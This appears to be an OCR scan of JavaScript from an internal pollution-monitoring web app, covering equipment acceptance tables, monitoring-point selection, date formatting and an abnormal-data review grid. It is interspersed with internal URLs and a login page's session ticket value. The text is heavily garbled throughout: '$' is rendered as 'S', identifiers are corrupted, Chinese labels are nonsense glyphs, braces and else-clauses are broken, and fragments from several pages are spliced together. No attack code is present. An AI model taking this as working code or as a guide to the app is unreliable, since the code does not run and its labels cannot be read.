if('1'==1listInfo[i].acceptStatus) {
S ("#accpetStatus"+acceptDatas[sellIndex].equipId) .empty () ;

S ("#accpetStatus"+acceptDatas[sellIndex].equipld) .attr('class',"'");
$ ("#accpetStatus"+acceptDatas [selIndex] .equipId) .append (' i}
gy ;
telse if('0'==listInfo[i].acceptStatus) {
S ("#accpetStatus"+acceptDatas[selIndex] .equipId) .empty () ;

S ("#accpetStatus"+acceptDatas[sellndex].equipld) .attr('class', 'red');
S ("#accpetStatus"+acceptDatas[sellIndex].equipld) .append (' ESiil
gy ;
telse(
S ("#accpetStatus"+acceptDatas[selIndex].equiplId) .empty () ;

S ("#accpetStatus"+acceptDatas[selIndex].equipld) .attr('class', 'blue');

S ("#accpetStatus"+acceptDatas[sellIndex].equipld) .append (' AL
e ;
}
}
var updFlag=0;
if (1i==0)
updFlag=1;
els e
updFlag=0;

var chStr='<tr
onclick="updEquiptAccept (\'{0}\",\"{1}\',\'"{2}\")">"'.format (listInfo[i].id,updFlag,acceptDatas[selIndex] .epoN
ame) ;

chStr+='<td>{0}"'.format (listInfo[i].acceptTime) ;

var accStatus=listInfo[i].acceptStatus;

if (accStatus=="1") {

chStr+='<td><span class="gray"> 10YL: </span><span>ilil</span></td>';
telse(
chStr+='<td><span class="gray"> I: </span><span class="red">FKi#il
</span></td>"';
}
chStr+='<td><span class="gray"> I N: </span><span>{0}</span>
</td>'.format (listInfo[i].acceptUser) ;
chStr+='<td><span class="remarkInfo" title="{0}"> F1¥E</span>

</td>'.format (ToHtmlString (listInfo[i].comment)) ;

chStr+="</tr>";
$ ("#childTab") .append (chStr) ;
}

1) i

str+="'</table></div></td></tr>';

S ("#childInfo") .remove () ;

S (str) .insertAfter (tr);

/*
P HAE L
4
function getMpStopJsonList () {
var url = baseUrl ('app/monitorspot/spotAction!findAcceptInfos.page');
JgAjax (url, 'post',param, function (data) {
$ ("#onsiteCheckInfoUl") .empty () ;
var listInfo=data.rows;
total=data.total;
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acceptDatas=data.rows;
if (total==0) {
jf.sendNotice (' PR, A AT IR ER! 1, 2,2)
}
if (total>0) {
for (var i1=0;1i<(listInfo.length>pageSize?pageSize:listInfo.length) ;i++) {
va..

http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!list.page

serchEquipAccptInfo (1)

http://172.20.7.168:8083/amonline/app/revisedmanage/revisedactionllist.page

var _psId='', regionCode='";

var _items='"';

var mpld='"';

var beginTime='"';

var _endTime="'";

var _isLocal=1;

var _monitorType='";

var _dataRoundDataGrid;

var clotting flag=false;

$ (function () {
_psId='510101055565"
_regionCode='510101000"

/ /5 312

$('#leftpage') .load (baseUrl ('static/am/template/psinfo/opt/leftps.html?
monitorType="'+GetUrlParam('monitorType')), function () {

P

/ /R 147 4
InitDateTime () ;

/ / IR
loaddatasource () ;

/ /IR
loaddatastatus () ;

/ /B MR

if (_psId!=null || _psId!=""){

loadMP (_psId, false);
}
)i

// HIAG A [ 4% 1
function InitDateTime () {
/ VAEV]
if (_endTime==null || _endTime=='"' || beginTime==null || _beginTime=="") {

var sdatel = new Date();

var edatel= new Date();

S ('#dateDouble') .jfDoubleDate ({
sdate:sdatel,
edate:edatel

b i

formatTime () ;

telse{

var sdatel = new Date(_beginTime);

var edatel= new Date(_endTime);

$ ('#dateDouble') .jfDoubleDate ({
sdate:sdatel,
edate:edatel

1) H

$ ("input [name='dateDouble']") .val (_beginTime+" §§"+7endTime);

/*
HIARA X H A
*/
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function formatTime () {
var begin=new Date();
_beginTime= begin.format ("yyyy-MM-dd") ;
_endTime=begin. format ("yyyy-MM-dd") ;

$ ("input [name='dateDouble']") .val (_beginTime+" EE"+_endTime);
}
/*
H A Ak
@param format H A BB (yyyy-MM-dd)
@returns {}
=]
Date.prototype.format = function(format) {
var o = {
"M+" : this.getMonth() + 1, // month
"d+" : this.getDate(), // day
"h+" : this.getHours(), // hour
"m+" : this.getMinutes(), // minute
"s+" : this.getSeconds(), // second
"g+" : Math.floor((this.getMonth() + 3) / 3), // quarter
"S" : this.getMilliseconds ()
}
if (/(y+)/.test(format))
format = format.replace (RegExp.$1, (this.getFullYear() + "")
.substr (4 - RegExp.$1l.length));
for ( var k in o)
if (new RegExp (" (" + k + ")").test (format)
format = format.replace (RegExp.$1l, RegExp.$1.length
("00" + o[k]).substr(("" + o[k]).length));
return format;
}
// I A A

function loadMP (psid, flag) {
ResetControl (flag) ;

_psId=psid;
S ("#jf-panel-mpItem") .empty () ;
$ ("input [name="mpItem']").val('");

S ("#mpItem') .val('");
S ('"#mpItem') .jfchoice ({

url:baseUrl ('app/mpoint/mpAction!getMpByPS_ID.page?psid='+psid),

text: 'name',

value:'id',

defaultIndex:0,

onCheck: function (item,data, index) {
/ /TN 0 5

$('#mpType') .val (data[index] .type) ;

$('#mpId') .val (data[index].id);

/ /AR K M R U F SR AT — R

var begin=new Date () ;
if ('5'!=data[index] .type) {

$ ("input [name='dateDouble']") .val (begin.addDays (-3) . format ("yyyy-MM-

dd")+"§§"+begin.addDays(2).format("yyyy—MM—dd"));
lelse(

$ ("input [name="dateDouble']") .val (begin. format ("yyyy-MM-

dd")+" & "+begin. format ("yyyy-MM-dd")) ;
}

clotting flag=data[index].clotting flag;

setTimeout (function () {

loadMonitorItem(psid,data[index].type,data[index].id,data[index].clotting flag);

},500) ;
} ’
onSuccess: function (data) {
if (data=='Undefined' || data==nu

S ("#monitorItem') .combobox ('setValues',

}
if (_mpId) {

S ('#mpItem') .trigger('setval', ['{0}'.format (_mpId)]);

}
} ’
onLoadError: function () {

11 11

data.length<1l) {
[

S ('#monitorItem') .combobox ('setValues', ['']);

}

/*
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v
function ResetControl (flag) {
S ('#dataSourceltem') .trigger ('setval',['-1']);
S ('#dataStatusItem') .trigger ('setval',['-1']);
mpType:$ ('#mpType') .val('");
mpId:$ ("#mpId') .val();

/ /RIS T4 4
if (flag) {
formatTime () ;
InitDateTime () ;

}
S ('#monitorItem') .combobox ({
url:null,
valueField: 'code',
textField: 'name',
width: 220,
height: 32,
editable: false,
multiple:true,
panelHeight:'auto'
I
if (_dataRoundDataGrid) {
var fields=_dataRoundDataGrid.datagrid('getColumnFields');
for (var i=0;i<fields.length;i++) {
_dataRoundDataGrid.datagrid('hideColumn', fields[i]);
}

for (var i=0;i<arrayGroup.length;i++) {

_dataRoundDataGrid.datagrid('hideColumn',arrayGroup[i].field);

}
_dataRoundDataGrid.datagrid('hideColumn', 'dataTime"') ;
_dataRoundDataGrid.datagrid('loadData', { total: 0, rows: []});

// i H
function loadMonitorItem(psid, mptype,mpid,clotting flag) {
S ('"#monitorItem') .combobox ({
method: 'get',
url:baseUrl ('app/revisedmanage/revisedAction!GetMonitorItem.page?
psId="'+psid+'&mpType="+mptype+"'&mpId="+mpid),

valueField: 'code',
textField: 'name',
width: 220,
height: 32,

editable: false,
multiple:true,
panelHeight:'auto',
formatter: function (row) {
var opts = $(this).combobox ('options');
if (row.codel=="B01'| |row.codel=="B02") {
return;
}
return '<input type="checkbox" class="combobox-checkbox">"
row[opts.textField]
} ’
onShowPanel: function () {
var opts = $(this).combobox ('options');
var target = this;
var values = $(target) .combobox ('getValues');
$.map (va...

http://172.20.7.168:8083/amonline/app/revisedmanage/revisedactionllist.page

btnQuery ()

http://172.20.7.168:8083/amonline/app/applogin.page

2019/6/24
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var context = '/amOnline';

var authorizeType = '1l';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8767223612f4";

http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!abnormity.page

// I A
var pageNo=1;
var pageSize =20;
var beginTime="'"';
var endTime="";
var _dataStatus;
var alarmType = 2;
jf.initPage=function () {
var sdatel = new Date();
var edatel= new Date();
sdatel.addDays (=7) ;
$('#dateS') .jfDoubleDate ({
sdate:sdatel,
edate:edatel,
emaxdate:new Date ()
P
setTimes () ;
$('"#abnormityList') .datagrid ({
method: 'post',
url: baseUrl ('app/abnormity/abnormityAction!jsonList.page'),
queryParams: {
search_startTime:beginTime,
search_endTime:endTime,
search_alarmType:alarmType,
search_disposeType:$ ("input [name='disposeType']") .val ()
by
width: '100%',
singleSelect: false,
rownumbers: true,
pageSize: 15,
pageNo:1,
nowrap: true,
pagination:true,
selectOnCheck: false,
checkOnSelect:false,
scrollbarSize: O,
fit:true,

columns: [ [
{field: 'psName', title:" 7?@%%?',width:200,align:'left',formatter:formatVal),
{field: 'mpName', title:" WifE s, width:200, formatter: formatMonitorPoint},
{field:'pollutantName',title:"' V59", width:200, formatter: formatval},
{field: 'abnormalValue', title:' SEHAE',width:100},
{field: 'standardvalue', title:" FREPRME ", width:100},
{field:'beginTime', title:" SR EJEE ', width: 250, formatter: function (val,
row, index) {
var start=row.beginTime;
var end=row.endTime;
return start+"~"+end;
b,
{field:'explain', title:"' FHERA Y, width:200, formatter: formatExplain},
{field:'proofID', title:" P, width:200, formatter: formatFile},
{field:'comment',title:" %iE", width:200, formatter: formatval},
{field:'dataStatus',title:" 1%fF',width:lOO,formatter:formatOpt},
11
1) i
}
/*
WA H B AR
&

function setTimes () {
var begin=new Date();
var end=new Date();
begin.addDays (-7) ;
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beginTime= begin.format ("yyyy-MM-dd") ;
endTime=end. format ("yyyy-MM-dd") ;

S ("input [name='dateS']") .val (beginTime+" F"+endTime) ;
}
// H AL B
function formatFile(val, row, index) {
if(val !'= ''&& val != undefined) {

return '<div style="width:72px;margin:auto;"><a class="a-do"
onclick="findViewProof (\'{0}\") ">EHFM</a></div>". format (val);
}

// & AR ES
function formatOpt (val, row, index) {
if (val==1) {
return '<div class="w72" ><input type="button" class="bt opt" value=" Pl

onclick="editManage (\'{0}\')"/></div>'.format (index) ;
}else if (val==-1){
return '<div class="w72" ><input type="button" class="bt_ opt" value=" HE"
onclick="lookManage (\'{0}\")"/></div>'.format (index) ;
}

function formatExplain(val, row, index) {
if (val==1) {

return ' HEBoEhR ' ;
lelse if (val==2) {

return ' TELRBL A ;
telse if (val==3) {

return ' RUAER S ;
}else if (val==4) {

return ' AR
lelse if (val==5) {

return ' PRAEB AR ;
lelse if (val==6) {

return ' R,
lelse if (val==7) {

return ' Htr;

}
}

// A BAE T - 4%

function formatMonitorPoint (val, row, index) {
var mpType=row.mpType;
if (mpType=="4"||mpType=="'6") {
return '<div class="monitorPoint"><a style="max-width:150px;" class="monitorPoint-
cut" title="{0}">{0}</a><span class="tips kao inline">7k</span></div>'.format(val);
}else if (mpType=='5") {
return '<div class="monitorPoint"><a style="max-width:150px;" class="monitorPoint-
cut" title="{0}">{0}</a><span class="tips que">’ﬁ</span></div>' .format (val) ;

}

// AL LT 0]
function formatrePairTime (val, row, index) {
return '<span>{0}-{1}</span>'.format (row.beginTime,row.endTime) ;

}

// bt A A% L
function formatval (val, row, index) {
if (val!="" && val != undefined) {

return '<span class="cut-normal maxW450" title="{0}">{0}</span>'.format (val);

}

var _explainId="";

var _alarmDataId="";
var _psName="";

var _mpName="";

var _updatedBy="";

var _updatedTime="";
var pollutantName ='"';
var _abnormalvValue ='
var _standardvalue ='"';
var _abnormalTimes
var _explain='";
var _comment='";
var _proofId;
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function editSubmit () {

var datagrid=$ ("#abnormityList") .datagrid('getSelections');

if (datagrid.length <= 0) {
jf.sendNotice (' et ERR R ERCHESE! 1, 2,0);
return;

}

if (containsSummitedData () ) {

jf.sendNotice (' i, DRI MBIR AR EAML! 1, 2,0);
return;
}
// LR IRAF
var datagrid=$ ("#abnormityList").datagrid('getSelections');
var idAlarmDataArr=[];
var idExplainIdArr=[];

var psNameArr=[];

var mpNameArr=[];

var pollutantNameArr=[];

var abnormalValueArr=[];

var standardValueArr=[];

var abnormalTimesArr=[];

var explainArr=[];

var commentArr=[];

var proofIdArr=[];

var updatedByArr=[];

var updatedTimeArr=[];

//var proofIDArr=[];

if (datagrid.length!=0) {

for (var i=0;i<datagrid.length;i++) {

idAlarmDataArr.push (datagrid[i].alarmDataId) ;
idExplainIdArr.push(datagrid[i] .explainId);
psNameArr. ..

http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!abnormity.page

btnQuery (1)

http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!abnormity.page

submitSave ()

http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!abnormity.page

editSubmit ()

http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!list.page

var anomalyType=2;
jf.initPage=function () {

tabQuery () ;

}
// UIE S et
function tabQuery () {
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S ('#anomalyTab a').on('click', function () {

S ('#anomalyTab a') .removeClass('on');
$(this) .addClass('on') ;
S ('#anomalyTab a') .removeClass('on') ;
$(this) .addClass('on');
anomalyType=$ (this) .children ("span") .attr ("data-anomalyType") ;
if (anomalyType==1) {
S ('#abnormityIframe') .attr('src', 'abnormityAction!exceed.page');
}else if (anomalyType==2) {
$('#abnormityIframe') .attr('src', 'abnormityAction!abnormity.page') ;
}else if (anomalyType==6) {
$('#abnormityIframe')
telse{
$('#abnormityIframe') .attr('src', 'abnormityAction!zero.page');

.attr('src', 'abnormityAction!constant.page');

}
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1 http://172.20.7.168:8083/amOnline/app/AppLogin.page
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